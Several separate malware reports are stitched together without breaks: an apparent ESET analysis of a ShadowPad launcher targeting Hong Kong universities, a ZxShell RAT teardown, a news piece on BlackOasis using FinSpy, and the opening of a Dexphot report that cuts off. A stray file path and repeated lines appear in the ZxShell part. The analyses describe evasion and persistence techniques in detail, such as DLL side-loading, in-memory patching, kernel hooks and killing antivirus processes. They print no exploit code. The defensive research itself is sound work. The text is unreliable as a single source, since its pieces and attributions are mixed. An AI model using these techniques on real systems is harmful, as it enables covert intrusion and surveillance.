ESET researchers recently published a white paper updating our understanding of the arsenal of the Winnti Group , following a blog post documenting a supply-chain attack targeting the videogame industry in Asia .
Additionally , we published a blog post on a new backdoor named skip-2.0 that targets Microsoft SQL Server .
This article focuses on the technical details of this new ShadowPad variant .
About the “ Winnti Group ” naming :We have chosen to keep the name “ Winnti Group ” since it ’s the name first used to identify it , in 2013 , by Kaspersky .
Since Winnti is also a malware family , we always write “ Winnti Group ” when we refer to the malefactors behind the attacks .
Since 2013 , it has been demonstrated that Winnti is only one of the many malware families used by the Winnti Group .
In November 2019 , ESET ’s machine-learning engine , Augur , detected a malicious and unique sample present on multiple computers belonging to two Hong Kong universities where the Winnti malware had already been found at the end of October .
The suspicious sample detected by Augur is actually a new 32-bit ShadowPad launcher .
Samples from both ShadowPad and Winnti found at these universities contain campaign identifiers and C&C URLs with the names of the universities , which indicates a targeted attack .
In addition to the two compromised universities , thanks to the C&C URL format used by the attackers we have reasons to think that at least three additional Hong Kong universities may have been compromised using these same ShadowPad and Winnti variants .
This campaign of the Winnti Group against Hong Kong universities was taking place in the context of Hong Kong facing civic protests that started in June 2019 triggered by an extradition bill .
Even though the bill was withdrawn in October 2019 , protests continued , demanding full democracy and investigation of the Hong Kong police .
These protests gathered hundreds of thousands of people in the streets with large support from students of Hong Kong universities , leading to multiple university campus occupations by the protesters .
We have contacted the compromised universities and provided the necessary information and assistance to remediate the compromise .
Unlike previous ShadowPad variants documented in our white paper on the arsenal of the Winnti Group , this launcher is not obfuscated using VMProtect .
Furthermore , the encrypted payload is neither embedded in the overlay nor located in a COM1:NULL.dat alternate data stream .
And the usual RC5 encryption with a key derived from the volume ID of the system drive of the victim machine ( as seen in the PortReuse backdoor , skip-2.0 and some ShadowPad variants ) is not present either .
In this case , the launcher is much simpler .
The launcher is a 32-bit DLL named hpqhvsei.dll , which is the name of a legitimate DLL loaded by hpqhvind.exe .
This executable is from HP and is usually installed with their printing and scanning software called “ HP Digital Imaging ” .
In this case the legitimate hpqhvind.exe was dropped by the attackers , along with their malicious hpqhvsei.dll , in C:\Windows\Temp .
Although we do not have the component that dropped and executed this launcher , the presence of these files leads us to think that the initial execution of this launcher is done through DLLWhen the malicious DLL is loaded at hpqhvind.exe startup , its DLLMain function is called that will check its parent process for the following sequence of bytes at offset 0x10BA .
In the case where the parent process is hpqhvind.exe , this sequence of bytes is present at this exact location and the malicious DLL will proceed to patch the parent process in memory .
It replaces the original instructions at 0x10BA with an unconditional jump ( jmp – 0xE9 ) to the address of the function from hpqhvsei.dll that decrypts and executes the encrypted payload embedded in the launcher .
The decompiled function responsible for patching the parent process .
In case hpqhvsei.dll is loaded by a different process than hpqhvind.exe , the malicious code will not be decrypted and executed .
The difference between the original and patched hpqhvind.exe .
The part of the code that is patched is located at the very beginning of the main function of hpqhvind.exe .
The patched code is located right after the load of hpqhvsei.dll .
This means that the function responsible for decrypting and executing the payload is executed directly after the load of the malicious DLL .
The encrypted payload is located in the .rdata section of hpqhvsei.dll and the decryption algorithm is an XOR loop where the XOR key is updated at each iteration .
The decrypted payload is the usual shellcode responsible for ShadowPad initialization ( obfuscated using fake conditional jumps to hinder disassembly ) .
After having been decrypted , ShadowPad ’s shellcode is executed .
It will first achieve persistence on the system by writing the in-memory patched parent process to disk to a path specified in the configuration string pool .
In the case we examined , the path was C:\ProgramData\DRM\CLR\CLR.exe .
It then creates a service named clr_optimization_v4.0.30229_32 , which is responsible for executing CLR.exe .
To avoid suspicion , this service name , as well as the executable name , were chosen to look similar to the name of a Microsoft .NETThe numbering on each arrow corresponds to the chronological sequence of events .
ShadowPad is a multimodular backdoor where the modules are referenced from the Root module with a circular list from which one can extract the module address , a UNIX timestamp ( probably embedded automatically during the module ’s compilation process ) and a module identifier .
From the module itself we can also extract the name the developer gave to the module .
This version embeds the 17 modules listed in the following table :100 Root Thu 24 Oct 2019 12:08:27 PM UTC Initial shellcode .
101 Plugins Thu 24 Oct 2019 12:07:02 PM UTC Provides API for the other modules ; loads modules .
102 Config Thu 24 Oct 2019 12:07:09 PM UTC Handles encrypted configuration string pool .
103 Install Thu 24 Oct 2019 12:07:46 PM UTC Achieves persistence .
104 Online Thu 24 Oct 2019 12:07:17 PM UTC Overall communications with the C&C server .
106 ImpUser Thu 24 Oct 2019 12:07:24 PM UTC User impersonation via token duplication .
200 TCP Thu 24 Oct 2019 12:01:01 PM UTC TCP communications .
202 HTTPS Thu 24 Oct 2019 12:01:15 PM UTC HTTPS communications .
207 Pipe Thu 24 Oct 2019 12:01:35 PM UTC Handles named pipes .
300 Disk Thu 24 Oct 2019 12:02:29 PM UTC File system operations .
301 Process Thu 24 Oct 2019 12:02:36 PM UTC Process handling .
302 Servcie Thu 24 Oct 2019 12:02:45 PM UTC Service handling .
303 Register Thu 24 Oct 2019 12:02:52 PM UTC Registry operations .
304 Shell Thu 24 Oct 2019 12:03:00 PM UTC Command line operations .
306 Keylogger Thu 24 Oct 2019 12:03:16 PM UTC Keylogging to file system .
307 Screen Thu 24 Oct 2019 12:03:25 PM UTC Screenshot capture .
317 RecentFiles Thu 24 Oct 2019 12:04:44 PM UTC Lists recently accessed files .
These modules , except for RecentFiles , have already been mentioned by Kaspersky and Avast .
Notice the “ Servcie ” typo .
As usual , all the module timestamps are spread over a short time range , which could suggest the use of a build framework to compile these modules .
This also suggests that these modules were built a few hours before the launcher itself , whose compilation timestamp is Thu Oct 24 14:10:32 2019 .
Since this compilation timestamp dates back two weeks before this campaign , it ’s likely that it has n’t been tampered with by the attackers .
One might also note that the number of modules embedded in this variant is much higher ( 17 ) than the number of modules embedded in the variants previously documented in our white paper ( 8 to 10 modules ) .
By default , every keystroke is recorded using the Keylogger module ( 306, previously documented by Avast ) and saved to disk in the file %APPDATA%\PAGM\OEY\XWWEYG\WAOUE .
The log file is encrypted using the same algorithm as the one used to encrypt static strings from the module .
Using this module by default indicates that the attackers are interested in stealing information from the victims ’ machines .
In contrast , the variants we described in our white paper did n’t even have that module embedded .
As with previous ShadowPad variants , the Config module ( 102 ) contains an encrypted string pool that can be accessed from any other module .
The string pool is never stored entirely decrypted in memory ; the field of interest is decrypted when needed and then immediately freed ( thus quickly unavailable ) .
The configuration size is 2180 bytes and the encrypted strings are located at offset 0x84 .
The algorithm used to decrypt the strings is the same as the one used to decrypt the static strings of the module .
The campaign ID is located at offset 0x99 and is the name of the targeted university .
Having a campaign ID related to the target is quite common in the case of ShadowPad and Winnti .
Interestingly , the timestamp present in this config at offset 0x84 is later than the modules ’ timestamps and the loader compilation timestamp .
This suggests that this config is added manually to the sample after having been built .
Even though it ’s probably coincidental , the date within the config corresponds to the date of the first detection of this sample at the corresponding university .
Once installed on the system , ShadowPad starts a hidden and suspended Microsoft Windows Media Player wmplayer.exe process and injects itself into that process .
The path to wmplayer.exe is provided by the Config module .
Once ShadowPad is injected into wmplayer.exe , the Online module will contact the C&C server using the URL specified in the configuration .
The communication is then handled by the TCP module ( 200 ) , which was previously documented by Kaspersky .
In addition to ShadowPad , the Winnti malware was found on some machines at these two universities at the end of October ( i.e .
two weeks before ShadowPad ) in the file C:\Windows\System32\oci.dll and is detected by ESET products as Win64/Winnti.CA .
The Winnti malware usually contains a configuration specifying a campaign ID and a C&C URL .
On all machines the campaign ID matches the name of the targeted university and the C&C URLs are :w[redacted].livehost.live : 443 .
w[redacted].dnslookup.services : 443 .
where the redacted part corresponds to the name of the targeted university .
One can observe that the C&C URL used by both Winnti and ShadowPad complies to the scheme [backdoor_type][target_name].domain.tld : 443 where [backdoor_type] is a single letter which is either “ w ” in the case of the Winnti malware or “ b ” in the case of ShadowPad .
From this format , we were able to find several C&C URLs , including three additional Hong Kong universities ’ names .
The campaign identifiers found in the samples we ’ve analyzed match the subdomain part of the C&C server , showing that these samples were really targeted against these universities .
The Winnti Group is still actively using one of its flagship backdoors , ShadowPad , this time against Hong Kong universities .
In this campaign , the VMProtected launcher used with ShadowPad , as well as with the PortReuse backdoor and skip-2.0 , was replaced by a simpler one .
That these samples , in addition to having been found at these universities , contain campaign IDs matching the universities ’ names and use C&C URLs containing the universities ’ names are good indications that this campaign is highly targeted .
We will continue to monitor new activities of the Winnti Group and will publish relevant information on our blog .
For any inquiries , contact us at threatintel@eset.com .
The IoCs are also available in our GitHub repository .
ESET detection names : Win32 / Shadowpad.C trojan Win64 / Winnti.CA trojan .
Winnti : hpqhvsei.dll .
Winnti : CLR.exe .
Winnti : hpqhvsei.dll .
Winnti : hpqhvind.exe .
Winnti : hpqhvsei.dll .
Winnti : oci.dll .
Winnti : C&C : b[org_name].dnslookup.services : 443 .
Winnti : C&C : w[org_name].livehost.live : 443 .
Winnti : C&C : w[org_name].dnslookup.services : 443 .
Middle Eastern hacking group is using FinFisher malware to conduct international espionage .
Recently , there was a blog post on the takedown of a botnet used by threat actor group known as Group 72 and their involvement in Operation SMN .
This group is sophisticated , well funded , and exclusively targets high profile organizations with high value intellectual property in the manufacturing , industrial , aerospace , defense , and media sector .
The primary attack vectors are watering-hole , spear phishing , and other web-based attacks .
Frequently , a remote administration tool ( RAT ) is used to maintain persistence within a victim ’s organization .
These tools are used to further compromise the organization by attacking other hosts inside the targets network .
ZxShell ( aka Sensocode ) is a Remote Administration Tool ( RAT ) used by Group 72 to conduct cyber-espionage operations .
Once the RAT is installed on the host it will be used to administer the client , exfiltrate data , or leverage the client as a pivot to attack an organization ’s internal infrastructure .
Here is a short list of the types of tools included with ZxShell :Keylogger ( used to capture passwords and other interesting data ) .
Command line shell for remote administration .
Remote desktop .
Various network attack tools used to fingerprint and compromise other hosts on the network .
Local user account creation tools .
For a complete list of tools please see the MainConnectionIo section .
The following paper is a technical analysis on the functionality of ZxShell .
The analysts involved were able to identify command and control ( C2 ) servers , dropper and installation methods , means of persistence , and identify the attack tools that are core to the RAT ’s purpose .
In addition , the researchers used their analysis to provide detection coverage for Snort , Fireamp , and ClamAV .
ZxShell has been around since 2004 .
There are a lot of versions available in the underground market .
We have analyzed the most common version of ZxShell , version 3.10 .
There are newer versions , up to version 3.39 as of October 2014 .
An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell .
Since ZxShell has been around since at least 2004 , numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers ( C&C ) and generate the malware that is placed on the victim ’s network .
ZxShell has been observed to be distributed through phishing attacks , dropped by exploits that leverage vulnerabilities such as CVE-2011-2462 , CVE-2013-3163 , and CVE-2014-0322 .
To illustrate the functionality of main ZxShell module , Let ’s take a look at the following sample :MD5 : e3878d541d17b156b7ca447eeb49d96a .
SHA256 : 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c .
It exports the following functions , which are examined in greater detail below : DllMain Install UnInstall ServiceMain ShellMain ShellMainThread zxFunction001 zxFunction002 .
DllMain performs the initialization of ZxShell .
It allocates a buffer of 0x2800 bytes and copies the code for the ZxGetLibAndProcAddr function .
To copy memory , the memcpy function is invoked .
It is not directly used from msvcrt.dll but is instead copied to another memory chunk before being called .
Finally , the trojan Import Address Table ( IAT ) is resolved and the file path of the process that hosts the DLL is resolved and saved in a global variable .
ZxShell.dll is injected in a shared SVCHOST process .
The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service .
Before the malware can be installed a unique name must to be generated for the service .
The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost .
At startup , Svchost.exe checks the services part of the registry and constructs a list of services to load .
Each Svchost session can contain multiple shared services that are organized in groups .
Therefore , separate services can run , depending on how and where Svchost.exe is started .
Svchost.exe groups are identified in the above registry key .
Each value under this key represents a separate Svchost group and appears as a separate instance when you are viewing active processes .
Each value is a REG_MULTI_SZ value and contains the services that run under that Svchost group .
Each Svchost group can contain one or more service names that are extracted from the following registry key , whose Parameters key contains a ServiceDLL value : HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service .
On a Windows machine , the netsvc group contains names of both existing and non-existing services .
ZxShell exploits this fact by cycling between each of the names , verifying the existence of the real service .
The service ’s existence is verified with the ServiceExists function , which attempts to open the relative registry sub-key in HKLM\SYSTEM\CurrentControlSet\Services .
The first service name that is not installed on the system becomes the ZxShell service name .
A new service is then created using the service parser function ProcessScCommand .
ZxShell implemented its own version of theSC command .
There are minor differences between the ZxShell implementation of this command and the original Windows one .
The installed service registry key is opened and the 2 values under its Parameter subkey are created .
These 2 values , ServiceDll and ServiceDllUnloadOnStop are needed for services that run in a shared process .
Before the service is started ChangeServiceConfig is called to modify the service type to shared and interactive .
If the service fails to start then a random service name formatted as netsvc_xxxxxxxx , where xxxxxxxx represent an 8-digit random hex value , is added to the netsvc group and the entire function is repeated .
This function is the entry point of the service .
It registers the service using the RegisterServiceCtrlHandler Windows API function .
The ZxShell service handler routine is only a stub : it responds to each service request code , doing nothing , and finally exits .
It sets the service status to RUNNING and finally calls the ShellMain function of ZxShell .
The ShellMain function is a stub that relocates the DLL to another buffer and spawns a thread that starts from ShellMainThreadInt at offset +0xC0CD .
The ShellMainThreadInt function gets the HeapDestroy Windows API address and replaces the first 3 bytes with the RET 4 opcode .
Subsequently , it calls the FreeLibrary function to free its own DLL buffer located at its original address .
Because of this , the allocated heaps will not be freed .
It re-copies the DLL from the new buffer to the original one using the memcpy function .
Finally , it spawns the main thread that starts at the original location of ShellMainThread procedure , and terminates .
At this point , the ZxShell library is no longer linked in the module list of the host process .
This is important because if any system tool tries to open the host process it will never display the ZxShell DLL .
This thread implements the main code , responsible for the entire botnet DLL .
First , it checks if the DLL is executed as a service .
If so , it spawns the service watchdog thread .
The watchdog thread checks the registry path of the ZxShell service every 2 seconds , to verify that it has n’t been modified .
If a user or an application modifies the ZxShell service registry key , the code restores the original infected service key and values .
The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function .
A handle to the DLL file is taken in order to make its deletion more difficult .
The ZxShell mutex is created named @_ZXSHELL_@ .
ZxShell plugins are parsed and loaded with the AnalyseAndLoadPlugins function .
The plugin registry key HKLM\SYSTEM\CurrentControlSet\Control\zxplug is opened and each value is queried .
The registry value contains the plugin file name .
The target file is loaded using the LoadLibrary API function , and the address of the exported function zxMain is obtained with GetProcAddress .
If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased .
That is performed by the function DeleteAndLogPlugin .
Otherwise , the plugin is added to an internal list .
The thread KeyloggerThread is spawned and is responsible for doing keylogging on the target workstation .
We will take a look at the keylogger later on .
Finally the main network communication function GetIpListAndConnect is called .
This function is at the core of the RAT ’s network communication .
It starts by initializing a random number generator and reading 100 bytes inside the ZxShell Dll at a hardcoded location .
These bytes are XOR encrypted with the byte-key 0x85 and contains a list of remote hosts where to connect .
The data is decrypted , the remote host list is parsed and verified using the BuildTargetIpListStruct function .
There are 3 types of lists recognized by ZxShell : plain ip addresses , HTTP and FTP addresses .
If the list does not contain any item , or if the verification has failed , the ZxShell sample tries to connect to a hardcoded hostwith the goal of retrieving a new updated list .
Otherwise , ZxShell tries to connect to the first item of the list .
If ZxShell successfully connects to the remote host , the function DoHandshake is called .
This function implements the initial handshake which consists of exchanging 16 bytes , 0x00001985 and 0x00000425,with the server .
The function GetLocalPcDescrStr is used to compose a large string that contains system information of the target workstation .
The string is sent to the remote host and the response is checked to see if the first byte of the response is 0xF4, an arbitrary byte .
If it is , the botnet connection I/O procedure is called through the MainConnectionIo function .
Otherwise , the ZxShell code closes the socket used and sleeps for 30 seconds .
It will then retry the connection with the next remote host , if there is one .
It is noteworthy that this function includes the code to set the ZxShell node as a server : if one of the hardcoded boolean value is set to 1, a listening socket is created .
The code waits for an incoming connection .
When the connection is established a new thread is spawned that starts with the MainConnectionIo function .
The MainConnectionIo function checks if the Windows Firewall is enabled , sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function .
Then the connection is retried .
The received command is then processed by the ZxShell function with the ProcessCommand function .
The command processing function starts by substituting the main module name and path in the hosting process PEB , with the one of the default internet browser .
This trick renders identification by firewall more cumbersome .
A host firewallrecognize the outgoing connection as originated by the browser instead of the ZxShell service host process .
The browser process always performs outgoing connections and the firewall should n’t block them .
The command processing is straightforward .
Here is the list of common commands :Help / ? Get help .
Exit / Quit Exit and shut down the botnet client .
SysInfo Get target System information .
SYNFlood Perform a SYN attack on a host .
Ps Process service Unix command implementation .
CleanEvent Clear System Event log .
FindPass Find login account password .
FileTime Get time information about a file .
FindDialPass List all the dial-up accounts and passwords .
User Account Management System .
TransFile Transfer file in or from remote host .
Execute Run a program in the remote host .
SC Service control command , implemented as the Windows one .
CA Clone user account .
RunAs Create new process as another User or Process context .
TermSvc Terminal service configuration ( working on Win Xp/2003 ) .
GetCMD Remote Shell .
Shutdown Logout , shutdown or restart the target system .
ZXARPS Spoofing , redirection , packet capture .
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ZXNC Run ZXNC v1.1 – a simple telnet client .
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data/reports_final/0044.txt
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ZXNC Run ZXNC v1.1 – a simple telnet client .
ZXHttpProxy Run a HTTP proxy server on the workstation .
ZXSockProxy Run a Sock 4 & 5 Proxy server .
ZXHttpServer Run a custom HTTP server .
PortScan Run TCP Port MultiScanner v1.0 .
KeyLog Capture or record the remote computer ’s keystrokes .
The implementation is a userland keylogger that polls the keymap with each keystroke .
LoadDll Load a DLL into the specified process .
End Terminate ZxShell DLL .
Uninstall Uninstall and terminate ZxShell bot DLL .
ShareShell Share a shell to other .
CloseFW Switch off Windows Firewall .
FileMG File Manager .
winvnc Remote Desktop .
rPortMap Port Forwarding .
capsrv Video Device Spying .
zxplug Add and load a ZxShell custom plugin .
This set of functionality allows the operator complete control of a system .
Being able to transfer and execute files on the infected system means the attacker can run any code they please .
Further , the keylogging and remote desktop functionality allows the operator to spy on the infected machine , observing all keystrokes and viewing all user actions .
Unloads ZxShell and deletes all of the active components .
This simply deletes the ZxShell service key from the Windows registry ( using SHDeleteKey Api ) and all of the subkeys .
Finally , it marks ZxShell main Dll for deletion with the MoveFileEx Windows API .
This function is the supporting functionality for WinVNC .
To allow the VNC session to connect , the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001 .
zxFunction001 modifies the current process memory , uses data contained in the named pipe to create a socket , and then executes the code that sends the remote desktop session to the server controller .
ZxFunction002 This will either bind the calling process to a port or has the calling process connect to a remote host .
The functionality ( connect or bind ) depends on the data contained within the named pipe .
Unlike zxFunction001, this is not used byany of the RAT commands in the zxshell.dll .
Apart from user-mode ZxShell droppers mentioned earlier , there is a file ( SHA256 : 1e200d0d3de360d9c32e30d4c98f07e100f6260a86a817943a8fb06995c15335 ) that installs a kernel device driver called loveusd.sys .
The architecture of this dropper is different from the others : it starts extracting the main driver from itself .
It adds the SeLoadDriver privilege to its access token and proceeds to install the driver as a fake disk filter driver .
It then adds the “ Loveusd.sys ” extracted driver name to the upper filter list .
In our analysed sample the “ Loveusd.sys ” driver is installed with the name “ USBHPMS ” .
Finally the driver is started using the ZwLoadDriver native API .
The ZxShell driver starts by acquiring some kernel information and then hooking “ ObReferenceObjectByHandle ” API .
Finally it spawns 2 system threads .
The first thread is the “ communication ” thread .
ZxShell employs a strange method for communication : it hooks the NtWriteFile API and recognizes 5 different special handle values as commands :0x111111111 : Hide “ Loveusd ” driver from the system kernel driver list .
0x22222222 : Securely delete an in-use or no-access target file-name .
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0x44444444 : Unhook the ZwWriteFile API and hook KiFastCallEntry .
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0x44444444 : Unhook the ZwWriteFile API and hook KiFastCallEntry .
0x55555555 : Remove the ZxShell Image Load Notify routine .
0x88888888 : Set a special value called “ type ” in Windows registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverMain .
The second Loveusd system thread does a lot of things .
Its principal duties are to create the ZxShell main DLL in “ c:\Windows\System32\commhlp32.dll ” and to install the Kernel “ Load Image Notify routine ” .
The code then tries to kill each process and service that belongs to the following list of AV products :Firewall Norton ESET McAfee Avast Avira Sophos Malwarebytes .
Next , the ZxShell Load-Image Notify function prevents the AV processes from restarting .
The installation procedure continues in the user-mode dropper .
The ZxShell service is installed as usual , and the in-execution dropper is deleted permanently using the special handle value 0x22222222 for the WriteFile API call .
This handle value is invalid : all the windows kernel handle values are by design a multiple of 4 .
The ZxShell hook code knows that and intercept it .
ObReferenceObjectByHandle is a Kernel routine designed to validate a target object and return the pointer to its object body ( and even its handle information ) , starting from the object handle ( even the user-mode one ) .
The hook installed by ZxShell implements one of its filtering routine .
It filters each attempt to open the ZxShell protected driver or the main DLL , returning a reference to the “ netstat.exe ” file .
The protection is enabled to all processes except for ones in the following list : Svchost.exe , Lsass.exe , Winlogon.exe , Services.exe , Csrss.exe , ctfmon.exe , Rundll32.exe , mpnotify.exe , update.exe .
If the type of the object that the system is trying to validate is a process , the hook code rewrites again the configuration data of the ZxShell service in the windows registry .
The last type of Kernel modification that ZxShell rootkit performs is the system call dispatcher ( KiFastCallEntry ) hook .
In this manner , ZxShell is able to completely hide itself , intercepting the following Kernel API calls : ZwAllocateVirtualMemory , ZwOpenEvent , ZwQueryDirectoryFile , ZwWriteFile , ZwEnumerateKey , and ZwDeviceIoControlFile .
Command and Control Server : Sample ( SHA256 : 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c ) is configured to act as a server .
The symbol “ g_bCreateListenSck ” is set to 1 .
This means that , as seen above , the ZxShell Dll is started in listening mode .
It connects to the first remote C&C that tries to contact it and succeeds in the handshake .
The encrypted IP address is “ 127.0.0.2 ” ( used as loopback ) and no connection is made on that IP address ( due to the listening variable set to 1 ) .
We used the ZxShell package for version 3.10 ( SHA256 : 1622460afbc8a255141256cb77af61c670ec21291df8fe0989c37852b59422b4 ).The convenient thing about this is that the CNC panel worked with any version , 3.10 and above .
The buttons are all in Chinese , with the help of Google Translate and keen detective skills ( read : button clicking ) , we ’ve deciphered the functionality .
Once an infected machine connects , you see its information displayed in a selection box at the top .
There are some built in functions on the side for the more common features .
These include remote desktop , webcam spying , remote shell , and file management .
You can also select a host and type help for a full list of commands .
I have the same machine infected with two different version of ZxShell .
Sending the help command for each , you can see the extra features added between version 3.1 and 3.2 .
Keylogging , ZXARPS ( IP and URL spoofing ) , and SYNFlood are some of the interesting features added to version 3.2 .
In versions 3.1 – 3.21, the configuration info is xor encoded with 0x85 .
This configuration info can be changed with a tool included in the ZxShell package .
In versions 3.22 and 3.39 the routine changes .
The new xor encoding byte is 0x5B .
The data is stored in the last 0x100 bytes of the file .
The first 8 bytes of data are static .
Then there is the dll install name , the domain , and the port .
Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored .
The most common ports used are , 80, 1985, 1986, and 443 .
1985 is the default port for the malware , 1986 is the lazy variation of that port .
Port 80 and 443 are the default ports for HTTP and HTTPS traffic .
The next most common is port 53 .
This is used in some of the newer 3.22 and 3.39 samples .
After that , the count for each port starts declining sharply .
The choices are interesting though , many correspond to what looks like the birth year of the controller ( ie .
years in the late 1980s and early 1990s ) , and others seem to match what year the malware was launched in ( ie .
in the 2000s , relatively close to the current year ) .
Since this malware dates back to around 2004 , there are many samples containing CNC URLs from the 3322.org page .
This page used to offer no-ip type hosting and was widely used by malware authors .
So much so that Microsoft did a takedown in 2012 .
A similar service , vicp.net , is also seen in many of the domains .
In the malware , if a domain is configured , it will retrieve domain.tld /This file contains a list of IP addresses for the infected machine to connect back to .
Otherwise , if an IP address is configured , it will connect directly to that IP address .
We have written a simple C++ ZxShell Server that implements the communication and the handshake for the version 3.10 and 3.20 of the ZxShell DLL .
The implementation is quite simple : After the handshake , 2 threads that deal with data transfer are spawned .
Advanced persistent threats will remain a problem for companies and organizations of all sizes , especially those with high financial or intellectual property value .
Group 72 ’s involvement in Operation SMN is another example of what sort of damage that can be done if organizations are not diligent in their efforts to secure their networks .
ZxShell is one sample amongst several tools that Group 72 used within their campaign .
ZxShell is a sophisticated tool employed by Group 72 that contains all kinds of functionality .
Its detection and removal can be difficult due to the various techniques used to conceal its presence , such as disabling the host anti-virus , masking its installation on a system with a valid service name , and by masking outbound traffic as originating from a web browser .
While other techniques are also utilized to conceal and inhibit its removal , ZxShell ’s primary functionality is to act as a Remote Administration Tool ( RAT ) , allowing the threat actor to have continuous backdoor access on to the compromised machine .
As our analysis demonstrates , ZxShell is an effective tool that can be ultimately used to steal user credentials and other highly valuable information .
The threat posed by ZxShell to organizations is one that cannot be ignored .
Organizations with high financial or intellectual property value should take the time to ensure their security requirements are met and that employee ’s are educated about the security threats their organizations face .
Threat Spotlight : Group 72 , Opening the ZxShell .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The incident , as described by security researchers with Moscow-based cybersecurity firm Kaspersky Lab , shines a rare light on the opaque although apparently vibrant market for software exploits and spyware , which in this case appears to have been purchased by a nation-state .
The Middle Eastern hacker group in this case is codenamed “ BlackOasis .
” Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of “ FinSpy ” malware , according to a new blog post published Monday .
Adobe issued a fix Monday to its users in the form of a software update .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
BlackOasis in recent months sent a wave of phishing emails .
These emails contained malicious Microsoft Word documents with the aforementioned Flash Player zero-day hidden inside an embedded ActiveX object .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
The term zero-day is indicative of a software flaw that remains unknown to the software ’s creator .
Zero-days can be highly disruptive because they provide a window of time for an attacker to breach victims before the vendor is able to apply a software update to address the specific security hole .
U.S .
cybersecurity firm FireEye also recently captured BlackOasis activity as part of a similar incident where the group relied on a different zero-day exploit — more specifically , a SOAPcode injection vulnerability — to install FinSpy onto a small number of devices .
Again , the attacker ’s intention appeared to be espionage .
“ Unlike other FinFisher customers or users who focus mostly on domestic operations , BlackOasis focuses on external operations and go after a wide range of targets around the world , ” explained Costin Raiu , director of the global research and analysis team at Kaspersky Lab .
Gamma Group has been accused of selling its products to authoritarian regimes that can use the technology to both track dissidents and conduct foreign espionage over the internet .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
It ’s unclear whether the hackers are purchasing the exploits and spyware together , directly from Gamma Group , or if they were able to acquire some of the tools through other avenues .
“ BlackOasis ’ interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region .
This includes prominent figures in the United Nations , opposition bloggers and activists , and regional news correspondents , ” a blogpost about Kaspersky ’s findings reads .
The post continues , “ during 2016 , we observed a heavy interest in Angola , exemplified by lure documents indicating targets with suspected ties to oil , money laundering , and other illicit activities .
There is also an interest in international activists and think tanks … Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
”Intent was clearly espionage in many cases , going outside of that "lawful surveillance" boundary.— Brian Bartholomew ( @Mao_Ware ) October 16, 2017 Brian Bartholomew , a senior security researcher with Kaspersky , said on Twitter that BlackOasis ’ espionage included non-traditional targets — “ going outside of that lawful surveillance boundary. ”An advanced persistent threat group , previously identified by Microsoft and codenamed Neodymium , is closely associated with BlackOasis ’ operations .
Last year , Microsoft researchers described Neodymium ’s behavior as unusual : “ unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
These activity groups are also unusual in that they use the same zero-day exploit to launch attacks at around the same time in the same region .
Their targets , however , appear to be individuals that do not share common affiliations. ”A cursory review of BlackOasis ’ espionage campaign suggests there is some overlap between the group ’s actions and Saudi Arabia ’s geopolitical interests .
For example , the targeting of Angolan organizations in mid-2016 coincidences directly with the rise of Angola ’s oil business with China , which displaced Saudi Arabia as the number one exporter of crude oil to China at the time .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements .
In addition , Saudi Arabia is a known customer of spyware and has used the technology domestically , according to Citizen Lab , a cybersecurity and human-rights focused research laboratory .
Kaspersky ’s research notes that BlackOasis hacked into computers based in Saudi Arabia .
Insights from one year of tracking a polymorphic threat .
A little over a year ago , in October 2018 , our polymorphic outbreak monitoring system detected a large surge in reports , indicating that a large-scale campaign was unfolding .
We observed as the new threat attempted to deploy files that changed every 20-30 minutes on thousands of devices .
We gave the threat the name “ Dexphot , ” based on certain characteristics of the malware code .
The Dexphot attack used a variety of sophisticated methods to evade security solutions .
Layers of obfuscation , encryption , and the use of randomized file names hid the installation process .
Dexphot then used fileless techniques to run malicious code directly in memory , leaving only a few traces that can be used for forensics .
It hijacked legitimate system processes to disguise malicious activity .
If not stopped , Dexphot ultimately ran a cryptocurrency miner on the device , with monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware .
In the months that followed , we closely tracked the threat and witnessed the attackers upgrade the malware , target new processes , and work around defensive measures .
While Microsoft Defender Advanced Threat Protection ’s pre-execution detection engines blocked Dexphot in most cases , behavior-based machine learning models provided protection for cases where the threat slipped through .
Given the threat ’s persistence mechanisms , polymorphism , and use of fileless techniques , behavior-based detection was a critical component of the comprehensive protection against this malware and other threats that exhibit similar malicious behaviors .
Microsoft Defender ATP data shows the effectiveness of behavioral blocking and containment capabilities in stopping the Dexphot campaign .
Over time , Dexphot-related malicious behavior reports dropped to a low hum , as the threat lost steam .
Our close monitoring of Dexphot helped us ensure that our customers were protected from the evolving threat .
More importantly , one year ’s worth of intelligence helped us gain insight not only into the goals and motivations of Dexphot ’s authors , but of cybercriminals in general .
The early stages of a Dexphot infection involves numerous files and processes .
